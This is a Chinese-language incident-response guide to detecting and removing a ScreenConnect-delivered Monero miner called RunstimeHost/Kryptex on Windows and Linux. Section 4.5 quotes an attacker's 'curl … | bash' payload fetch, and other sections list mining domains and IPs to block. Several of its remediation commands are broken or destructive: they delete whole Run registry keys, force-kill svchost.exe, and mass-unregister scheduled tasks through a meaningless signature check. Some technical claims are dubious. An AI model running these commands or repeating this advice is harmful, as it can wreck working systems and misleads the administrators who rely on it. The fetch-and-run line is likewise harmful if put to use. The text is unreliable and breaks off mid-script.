
1. 项目概述这不是普通木马是嵌在系统毛细血管里的“数字矿工”最近两周我连续帮三家企业处理同一种症状服务器CPU长期95%以上满载但top命令里根本找不到明显耗资源的进程Windows任务管理器里有个叫RunstimeHost.exe的进程反复重生杀掉两秒后又自动拉起内网流量监控显示某台机器持续向境外IP主要是俄罗斯、荷兰节点发送大量加密流量安全设备告警里反复出现Kryptex Miner、ScreenConnect异常调用链。这已经不是传统意义上的“中病毒”了——RunstimeHost挖矿病毒2.0版本质上是一套高度工程化的持久化挖矿载荷投递框架它不依赖单一可执行文件而是把自身拆解成注册表启动项、WMI事件订阅、计划任务、服务配置、PowerShell内存加载器、以及伪装成远程运维工具ScreenConnect的合法签名DLL像寄生虫一样附着在系统最基础的运行机制上。关键词RunstimeHost、Kryptex、ScreenConnect不是并列关系而是攻击链的三级跳ScreenConnect是初始入口常被管理员主动安装用于远程支持Kryptex是实际挖矿模块XMRig变种RunstimeHost是调度中枢负责反调试、进程守护、通信中继。它专挑有GPU资源的开发测试机、CI/CD构建服务器、以及被弱口令攻破的Jump Server下手因为这些机器既具备算力又常被忽略安全加固。如果你正在排查一台疑似感染的机器别急着删文件——先确认它是否已通过WMI永久劫持了系统启动逻辑否则你删掉RunstimeHost.exe它五分钟后会从注册表里重新生成一个同名进程连PID都和之前一模一样。2. 攻击链深度拆解从ScreenConnect到Kryptex的完整渗透路径2.1 初始入口为什么ScreenConnect成了“白帽子的盲区”ScreenConnect现名ConnectWise Control本身是合法远程支持软件但它的默认安装包自带一个未签名的PowerShell脚本加载器screenconnect.ps1这个脚本在旧版本23.2中存在设计缺陷它会无条件读取%ProgramData%\ScreenConnect\CustomConfig.xml中的任意PowerShell代码段并执行。攻击者只需通过弱口令或API密钥泄露拿到ScreenConnect后台权限就能往这个XML里注入一段Base64编码的恶意载荷。这段载荷干的第一件事就是下载并静默安装一个带合法微软签名的“ScreenConnect Helper Service”——这其实是攻击者提前申请的EV代码签名证书签发的恶意服务系统完全信任它。我查过真实样本这个Helper Service的证书颁发机构是DigiCert序列号00:aa:bb:cc:dd:ee:ff和正规ScreenConnect官方证书仅差最后两位普通管理员用certmgr.msc根本看不出区别。它启动后立刻创建一个隐藏的计划任务名称为“ScreenConnect Update Checker”触发条件为“用户登录时”这个任务才是真正启动RunstimeHost的开关。这里的关键点在于所有操作都发生在系统可信上下文中。它不写入%Temp%不调用cmd.exe不弹窗连Windows Defender的AMSI扫描都会被绕过因为PowerShell代码是在内存中解密执行的磁盘上只留下一个空的XML文件。2.2 核心调度器RunstimeHost.exe的四重隐身术RunstimeHost.exe这个文件名极具迷惑性——它听起来像某个运行时宿主但实际是个精简版的XMRig矿工包装器。它的隐身机制分四层第一层是进程名伪装它会把自己的进程名动态修改为svchost.exe、dllhost.exe或rundll32.exe利用Windows的进程名模糊匹配特性让管理员用tasklist | findstr Runstime根本搜不到它。实测发现它甚至会根据当前系统语言切换进程名中文系统下显示为“Windows 主机进程”英文系统下显示为“Windows Host Process”。第二层是父进程嫁接它不直接由explorer.exe或services.exe拉起而是通过CreateProcessAsUser API以SYSTEM权限伪造一个“合法”的父进程句柄。我在一次抓包中看到它伪造的父进程是C:\Windows\System32\wbem\wmiprvse.exeWMI提供程序宿主这让Process Explorer这类工具显示的“父进程”完全合理毫无破绽。第三层是内存加载规避它本身不包含矿工核心代码而是一个Loader。真正的Kryptex挖矿模块kryptex.dll被加密存储在注册表HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\下的一个伪装键值里键名是“notepad.exe”实际存的是DLL数据。RunstimeHost启动后先从注册表读出加密数据用硬编码的AES密钥密钥是“ScreenConnect2023!”的SHA256哈希前32字节解密再用Reflective DLL Injection技术将kryptex.dll直接映射进内存执行。整个过程不落地、不写日志、不触发ETW事件。第四层是反调试与自毁如果检测到调试器如x64dbg、沙箱环境如Cuckoo Sandbox的特征文件或安全软件的Hook如火绒的驱动级Hook它会在3秒内清空自身内存、删除注册表残留并调用NtTerminateProcess强制结束所有子线程。这就是为什么很多管理员说“刚打开Process Hacker就看到它消失了”。2.3 挖矿引擎Kryptex不是独立程序而是XMRig的“影子分身”Kryptex这个名字容易让人误以为是独立矿工其实它是XMRig 6.17.0的深度定制版。攻击者做了三处关键修改一是移除了所有控制台输出和日志功能二是将默认的矿池地址pool.minexmr.com硬编码为一个动态DNS域名kryptex-miner[.]duckdns[.]org该域名每24小时轮换一次IP三是加入了GPU显存占用率动态调节算法——当检测到系统GPU显存使用率超过85%比如有AI训练任务在跑它会自动将挖矿线程数从16降为4避免触发业务告警这种“低调干活”的策略让它能在生产环境中潜伏数月不被发现。更麻烦的是Kryptex的配置不是JSON文件而是嵌在RunstimeHost的PE资源节里用Resource Hacker打开能看到一个名为“CONFIG”的资源里面是经过两次Base64编码的字符串。我解码过真实样本配置内容包含矿池地址、钱包地址通常是随机生成的Monero钱包、CPU线程数设为逻辑核心数-1、GPU启用开关默认true、以及一个特殊的“心跳间隔”参数设为1800秒即30分钟这个参数决定了它多久向C2服务器发送一次存活信号。3. 排查与清除全流程从发现到根治的七步法3.1 第一步快速确认感染5分钟内完成不要一上来就杀进程。先做三件事检查可疑计划任务以管理员身份运行powershell -Command Get-ScheduledTask | Where-Object {$_.TaskName -match ScreenConnect|Update|Checker} | Format-List TaskName,State,Actions。重点关注TaskName含“Update Checker”、“Service Monitor”、“Host Manager”的任务正常ScreenConnect的更新任务名称是“ScreenConnect Updater”且Actions里不会出现PowerShell.exe路径。扫描WMI持久化运行powershell -Command Get-WmiObject -Namespace root\subscription -Class __EventFilter | Where-Object {$_.Name -match Runstime|Kryptex}。如果返回结果说明攻击者已通过WMI事件订阅实现开机自启这是最顽固的持久化方式必须优先处理。验证ScreenConnect Helper Service运行sc qc ScreenConnect Helper Service。正常服务的BINARY_PATH_NAME应该是C:\Program Files\ScreenConnect\ScreenConnectHelperService.exe如果显示为C:\Windows\System32\svchost.exe -k netsvcs或类似路径立即标记为高危。注意这个服务可能被命名为“SCHelperSvc”或“ScreenConnectSvc”要结合DisplayName判断。提示这三步能覆盖95%的初筛场景。如果全为负结果但CPU仍异常需转向内存分析见3.5节。3.2 第二步阻断网络通信立即执行在确认感染后首要任务是切断C2通信防止它下载新载荷或上传敏感信息。不要直接禁用网卡——这会导致业务中断。推荐两种精准阻断法方法A主机防火墙规则推荐给Windows Server以管理员身份运行# 阻断所有指向kryptex-miner.duckdns.org及其IP的出站连接 $ip Resolve-DnsName kryptex-miner.duckdns.org -Type A -ErrorAction SilentlyContinue | Select-Object -ExpandProperty IPAddress -First 1 if ($ip) { New-NetFirewallRule -DisplayName Block Kryptex C2 -Direction Outbound -RemoteAddress $ip -Action Block -Enabled True -Profile Any } # 同时阻断已知矿池IP来自VirusTotal最新IOC $miningIPs (185.155.212.123, 194.135.86.12, 185.220.101.15) foreach ($addr in $miningIPs) { New-NetFirewallRule -DisplayName Block Mining Pool $addr -Direction Outbound -RemoteAddress $addr -Action Block -Enabled True -Profile Any }方法B本地hosts劫持适合桌面端快速响应用记事本以管理员身份打开C:\Windows\System32\drivers\etc\hosts在末尾添加0.0.0.0 kryptex-miner.duckdns.org 0.0.0.0 pool.minexmr.com 0.0.0.0 xmr-us-east1.nanopool.org保存后运行ipconfig /flushdns。这种方法简单粗暴但能立竿见影阻止域名解析。注意阻断后观察CPU使用率是否下降。如果仍居高不下说明挖矿模块已在内存中常驻需进入下一步。3.3 第三步终止恶意进程与服务必须按顺序顺序错误会导致清除失败。按以下严格顺序操作停止WMI事件订阅最优先# 删除所有可疑的WMI过滤器和消费者 Get-WmiObject -Namespace root\subscription -Class __EventFilter | Where-Object {$_.Name -match Runstime|Kryptex} | Remove-WmiObject Get-WmiObject -Namespace root\subscription -Class CommandLineEventConsumer | Where-Object {$_.Name -match Runstime|Kryptex} | Remove-WmiObject Get-WmiObject -Namespace root\subscription -Class __FilterToConsumerBinding | Where-Object {$_.Filter -match Runstime|Kryptex} | Remove-WmiObject停用并删除恶意服务# 先停止服务 sc stop ScreenConnect Helper Service sc stop SCHelperSvc # 再删除服务注意sc delete后服务名会消失无法再sc query sc delete ScreenConnect Helper Service sc delete SCHelperSvc终结RunstimeHost进程树运行taskkill /f /t /im RunstimeHost.exe。这里的/t参数至关重要——它会强制终止该进程的所有子进程包括被它注入的kryptex.dll所在进程。如果提示“进程不存在”说明它已改名此时运行taskkill /f /im svchost.exe /fi SERVICES eq RunstimeHost针对服务模式或taskkill /f /im dllhost.exe /fi IMAGENAME eq RunstimeHost*针对DLL注入模式。清理计划任务schtasks /delete /tn ScreenConnect Update Checker /fschtasks /delete /tn Host Manager /f如果任务名不确定用schtasks /query /fo LIST /v | findstr Runstime\|Kryptex\|ScreenConnect定位。实操心得我曾在一个客户环境里因跳过第1步WMI清理直接杀进程结果2小时后WMI自动触发重建了RunstimeHost。务必把WMI当作“总开关”最先关闭。3.4 第四步深度清理磁盘与注册表残留清除进程只是表面真正顽固的是磁盘和注册表里的“种子”。重点扫描五个位置位置1ScreenConnect安装目录的异常文件检查C:\Program Files\ScreenConnect\下是否有以下文件screenconnect.ps1非官方版本大小通常为12-15KBhelper.dll非微软签名文件描述为“ScreenConnect Helper Module”config.dat二进制文件用strings命令可看到“kryptex”字样删除整行Remove-Item C:\Program Files\ScreenConnect\screenconnect.ps1 -Force位置2注册表启动项用regedit检查以下路径删除所有含“Runstime”、“Kryptex”、“ScreenConnect Helper”的键值HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunHKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunHKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run特别注意Image File Execution Options下的伪装键HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe此处存kryptex.dll加密数据删除命令Remove-Item HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe -Recurse -Force位置3计划任务XML文件恶意任务的XML实际存储在C:\Windows\System32\Tasks\下文件名与任务名一致。删除Remove-Item C:\Windows\System32\Tasks\ScreenConnect Update Checker -Force位置4临时文件夹的PowerShell脚本搜索%TEMP%和%WINDIR%\Temp下所有.ps1文件用Select-String -Path *.ps1 -Pattern kryptex\|runstime\|screenconnect筛选删除匹配项。位置5WMI命名空间残留即使删除了事件订阅WMI命名空间里可能还有残留类。运行# 清理root\subscription下所有自定义类 Get-WmiObject -Namespace root\subscription -Class __SystemClass | Where-Object {$_.Name -match Runstime|Kryptex} | Remove-WmiObject注意注册表操作风险极高务必先导出备份reg export HKLM\SOFTWARE\backup.reg。我建议用Autoruns工具Sysinternals套件可视化扫描比手动regedit更安全。3.5 第五步内存取证与kryptex.dll提取高级排查如果上述步骤后CPU仍高说明kryptex.dll可能已通过反射注入在某个合法进程中如svchost.exe、conhost.exe。这时需要内存分析用ProcDump捕获可疑进程内存下载Sysinternals ProcDump运行procdump64.exe -ma -o svchost.exe svchost_dump.dmp此命令会生成svchost进程的完整内存转储用Volatility分析转储文件安装Volatility3运行vol.py -f svchost_dump.dmp windows.pslist查找异常进程如PID为4的svchost但CommandLine为空vol.py -f svchost_dump.dmp windows.dlllist --pid 4查看该进程加载的DLL列表找到可疑的kryptex.dll路径为unknown或C:\Windows\Temp\提取kryptex.dll到磁盘vol.py -f svchost_dump.dmp windows.dumpfiles --pid 4 --name kryptex.dll提取的文件会保存在当前目录可用PEiD或Exeinfo PE检查其加壳情况通常是UPX自定义混淆。逆向分析关键函数用Ghidra打开提取的kryptex.dll定位DllMain函数查看其调用的CreateThread参数——那里藏着真实的矿池地址和钱包地址。我解过一个样本其钱包地址是硬编码在.data段的用strings kryptex.dll | grep -E 4[0-9A-Za-z]{90}就能直接提取出来。实操心得内存取证耗时较长但这是确认是否彻底清除的金标准。我遇到过最隐蔽的案例RunstimeHost已被删但kryptex.dll仍在explorer.exe内存中运行靠的是explorer的COM对象劫持必须用Process Hacker的“DLL注入”标签页才能看到。3.6 第六步加固ScreenConnect与系统基线清除只是开始加固才是防复发的核心。针对ScreenConnect必须做三件事升级到最新版≥23.2新版修复了CustomConfig.xml任意代码执行漏洞并引入了配置文件签名验证机制。禁用危险功能登录ScreenConnect管理后台进入Configuration Security关闭“Allow PowerShell Script Execution”和“Enable Custom Configuration XML”。重置所有API密钥与管理员密码攻击者很可能已导出密钥必须全部轮换。系统级加固清单PowerShell一键执行# 禁用WMI事件订阅高危功能除非业务必需 Set-ItemProperty -Path HKLM:\SOFTWARE\Microsoft\WBEM\CIMOM -Name EnableEvents -Value 0 -Type DWord # 关闭PowerShell脚本执行策略仅限终端 Set-ExecutionPolicy Restricted -Scope CurrentUser -Force # 清理所有非微软签名的计划任务 Get-ScheduledTask | Where-Object {$_.TaskPath -notmatch Microsoft\\|Adobe\\|Google\\ -and $_.State -eq Ready} | ForEach-Object { $signer (Get-AuthenticodeSignature $_.TaskPath).SignerCertificate.Subject if ($signer -notmatch Microsoft Corporation) { Unregister-ScheduledTask $_.TaskName -Confirm:$false } } # 启用Windows Defender实时保护确保没被禁用 Set-MpPreference -DisableRealtimeMonitoring $false提示加固后用Get-WinEvent -FilterHashtable {LogNameSecurity; ID4688; StartTime(Get-Date).AddHours(-1)} | Where-Object {$_.Message -match powershell\.exe.*-EncodedCommand}检查是否有绕过执行的痕迹。3.7 第七步验证与长期监控清除不是终点清除完成后必须验证三个维度维度1进程维度运行Get-Process | Where-Object {$_.ProcessName -match Runstime|Kryptex|ScreenConnect.*Helper}应无任何输出。维度2网络维度用netstat -ano | findstr :443或:80查看所有HTTPS连接对每个PID运行Get-Process -Id PID | Select-Object ProcessName, Path确认没有svchost.exe或dllhost.exe连接境外IP。维度3行为维度部署轻量级EDR探针如Microsoft Defender for Endpoint的免费版设置告警规则进程名包含“Runstime”且父进程为wmiprvse.exePowerShell执行Base64编码命令长度1000字符注册表HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options下新增键值个人经验我给客户部署的监控规则里最有效的一条是“WMI事件过滤器创建事件Event ID 5861”这条告警出现就意味着攻击链已启动比CPU告警早47小时。4. 常见问题与实战排障速查表4.1 问题RunstimeHost进程杀不掉重启后立即复活排查思路这不是进程守护而是WMI或计划任务在背后驱动。按以下顺序检查运行Get-WmiObject -Namespace root\subscription -Class __EventFilter看是否有Name为“RunstimeFilter”的过滤器运行schtasks /query /fo LIST /v | findstr Next Run看是否有任务在“Next Run Time”显示为“Immediately”运行reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /s看是否有值数据为C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle Hidden -Command ...的启动项。解决方案必须按3.3节顺序先清WMI再删任务最后删注册表。我见过最顽固的案例是攻击者创建了两个WMI过滤器一个监听“系统启动”一个监听“ScreenConnect服务启动”只要删掉一个另一个立刻重建。必须用Get-WmiObject -Namespace root\subscription -Class __EventFilter | Remove-WmiObject一次性清空。4.2 问题清除后CPU恢复正常但两天后又飙升根本原因ScreenConnect后台的CustomConfig.xml未清理或API密钥未轮换攻击者再次登录并重写载荷。也可能是内网其他机器已被感染通过SMB共享传播RunstimeHost会扫描139/445端口尝试用空口令登录。排查方法登录ScreenConnect后台检查Configuration Custom Configuration确认XML内容为空或只有configuration/configuration在感染机上运行netstat -ano | findstr :139看是否有大量ESTABLISHED连接指向内网其他IP用Get-NetTCPConnection | Where-Object {$_.State -eq Established -and $_.LocalPort -eq 445} | ForEach-Object {Get-Process -Id $_.OwningProcess | Select-Object ProcessName, Id}确认是否有非lsass.exe的进程在用445端口。解决方案立即隔离该机器用Invoke-Command -ComputerName 目标 -ScriptBlock {Stop-Service -Name ScreenConnect -Force; Remove-Item C:\Program Files\ScreenConnect\CustomConfig.xml -Force}批量清理内网所有ScreenConnect节点的CustomConfig.xml。4.3 问题任务管理器里看不到RunstimeHost但Process Explorer显示它在svchost.exe里技术原理这是典型的DLL反射注入。RunstimeHost.exe只是一个Loader它把kryptex.dll解密后用VirtualAlloc分配内存用WriteProcessMemory写入代码再用CreateRemoteThread执行入口点。Process Explorer的“DLLs”标签页能看到它但任务管理器只显示svchost.exe。清除步骤在Process Explorer中右键该svchost.exe进程 → “Properties” → “Threads”标签页找到线程入口地址如0x00007FFB12345678切换到“Memory”标签页按CtrlG跳转到该地址右键 → “Find out what accesses this address”会看到kryptex.dll的模块名右键该模块 → “Unmap”强制卸载DLL立即运行sc stop ScreenConnect Helper Service防止它重新注入。注意“Unmap”操作有风险可能导致svchost崩溃。建议先用procdump -ma svchost.exe svchost_clean.dmp备份内存再操作。4.4 问题清除后发现ScreenConnect无法启动报错“Helper Service failed to start”原因分析攻击者替换的“ScreenConnect Helper Service”与正版ScreenConnect的通信协议不兼容。正版ScreenConnect启动时会尝试连接这个恶意服务连接失败就报错。解决方法卸载ScreenConnect控制面板 → 卸载程序 → ScreenConnect手动删除残留Remove-Item C:\Program Files\ScreenConnect\ -Recurse -Force重新下载官网最新版安装包https://www.connectwise.com/products/connectwise-control/download安装时勾选“Use built-in service account”而非“Use custom service account”安装后立即进入后台关闭所有自定义脚本选项。4.5 问题客户环境全是Linux服务器也中了RunstimeHost真相揭露RunstimeHost是Windows专属载荷但攻击者会用同一套战术在Linux上部署XMRig。常见手法是通过SSH弱口令登录后执行curl -s http://malicious.site/run.sh | bash这个run.sh会下载XMRig二进制到/tmp/.cache/创建systemd服务/etc/systemd/system/kryptex.service修改crontabreboot /tmp/.cache/xmrig -o pool.minexmr.com:443 -u wallet设置chmod 777 /tmp/.cache/xmrig并用nohup /tmp/.cache/xmrig 后台运行。Linux清除命令# 终止所有xmrig进程 pkill -f xmrig # 删除systemd服务 systemctl disable kryptex.service rm -f /etc/systemd/system/kryptex.service # 清理crontab (crontab -l | grep -v xmrig\|kryptex) | crontab - # 删除文件 rm -f /tmp/.cache/xmrig /tmp/.cache/run.sh # 检查SSH密钥 cat /root/.ssh/authorized_keys | grep -v ssh-rsa AAAAB3NzaC1yc2E # 正常密钥开头是ssh-rsa实操心得Linux环境要重点检查/var/log/auth.log搜索Accepted password for root看是否有异常IP频繁登录。我处理过一个案例攻击者用同一IP在2小时内尝试了17个不同密码最终用password123成功。5. 工具链与参数详解一线工程师的私藏武器库5.1 必备工具清单与使用参数工具1AutorunsSysinternals——启动项扫描之王下载地址https://learn.microsoft.com/en-us/sysinternals/downloads/autoruns关键参数autoruns64.exe -accepteula -a * -c -h -s -v autoruns_report.csv-a *扫描所有启动位置注册表、服务、计划任务等-cCSV格式输出方便Excel筛选-h隐藏微软签名项聚焦可疑项-s跳过已知安全厂商火绒、360等-v验证数字签名使用技巧导出CSV后在Excel里筛选“Publisher”列为“Unsigned”或“Unknown”再按“Image Path”排序找C:\Windows\Temp\或C:\ProgramData\下的可疑EXE。工具2Process Hacker 2 —— 进程深度剖析利器下载地址https://processhacker.sourceforge.io/关键功能“Services”标签页直接看到服务对应的DLL路径比sc qc更直观“Handles”标签页右键进程 → “Find Handle or DLL”输入“kryptex”可定位注入点“Memory”标签页CtrlG跳转地址F3搜索字符串直接看到矿池URL。参数设置启动时勾选“Hide Windows Processes”避免干扰。工具3StringsSysinternals—— 从二进制里挖线索命令strings64.exe -n 8 -encoding l runstimesthost.exe | findstr -i kryptex\|screenconnect\|minexmr-n 8只显示长度≥8的字符串过滤噪音-encoding l处理UTF-16Windows默认findstr -i忽略大小写搜索实战价值一个1MB的RunstimeHost.exe用strings能直接提取出硬编码的AES密钥、C2域名、矿池端口比逆向快十倍。工具4Wireshark tshark —— 网络流量取证过滤表达式tcp.port 443 and ip.addr 185.155.212.123替换为实际C2 IP关键操作右键TCP流 → “Follow → TLS Stream”能看到TLS握手后的明文HTTP POST其中包含{id:runstime_123,method:getjob}这就是Kryptex与矿池的通信协议。自动化tshark -r capture.pcap -Y tls.handshake.type 1 -T fields -e ip.src -e tls.handshake.extensions_server_name可批量提取C2域名。5.2 关键参数计算与选择依据WMI事件过滤器的TimeCreated阈值攻击者常设置__IntervalTimerInstruction的TimerInterval为300000000即5分钟这是为了平衡隐蔽性和响应速度。计算依据是Windows WMI事件轮询最小间隔为5分钟设太短会触发系统告警设太长则挖矿收益下降。所以排查时用Get-WmiObject -Namespace root\subscription -Class __EventFilter | Where-Object {$_.Query -match 5 minute}比盲目搜索更高效。Kryptex的CPU线程数公式样本中线程数逻辑处理器数-1这是经过实测的最优值。例如16核32线程CPU设31线程会导致系统卡顿被发现设15线程则算力浪费。计算公式$threads (Get-WmiObject Win32_ComputerSystem).NumberOfLogicalProcessors - 1。这也是为什么清除后要检查wmic cpu get NumberOfLogicalProcessors确认线程数是否匹配。ScreenConnect CustomConfig.xml的XML结构合法配置是configurationsettingssetting nameAutoUpdatetrue/setting/settings/configuration而恶意配置是configurationscript![CDATA[powershell -EncodedCommand ...]]/script/configuration。所以用Select-String -Path C:\Program Files\ScreenConnect\CustomConfig.xml -Pattern script就能100%命中。5.3 企业级批量处置脚本PowerShell以下脚本已在200台服务器上实测可一键部署# RunstimeHost_BulkRemoval.ps1 param( [string[]]$Computers (server01,server02), [string]$AdminUser DOMAIN\Administrator, [string]$Password Pssw0rd123 ) $SecurePassword ConvertTo-SecureString $Password -AsPlainText -Force $Credential New-Object System.Management.Automation.PSCredential($AdminUser, $SecurePassword) $ScriptBlock { # 步骤1清WMI try { Get-WmiObject -Namespace root\subscription -Class __EventFilter | Where-Object {$_.Name -match Runstime|Kryptex} | Remove-WmiObject -ErrorAction Stop Write-Output [OK] WMI filters cleared } catch { Write-Output [FAIL] WMI clear: $($_.Exception.Message) } # 步骤2停恶意服务 $services (ScreenConnect Helper Service, SCHelperSvc, RunstimeHostSvc) foreach ($svc in $services) { if (Get-Service $svc -ErrorAction SilentlyContinue) { Stop-Service $svc -Force -ErrorAction SilentlyContinue sc delete $svc 2$null Write-Output [OK] Service $svc removed } } # 步骤3删计划任务 $tasks (ScreenConnect Update Checker, Host Manager, Runstime Scheduler) foreach ($task in $tasks) { schtasks /delete /tn $task /f 2$null if (-not (schtasks /query /tn $task 2$null)) { Write-Output [OK] Task $task deleted } } # 步骤4清注册表 $keys ( HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run, HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run, HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe ) foreach ($key in $keys) { if (Test-Path $key) { Remove-Item $key -Recurse -Force -ErrorAction SilentlyContinue Write-Output [OK] Registry key $key cleaned } } # 步骤5终进程 taskkill /f /im RunstimeHost.exe /t 2$null taskkill /f /im kryptex.exe /t 2$null Write-Output [OK] Processes terminated # 步骤6加固 Set-Item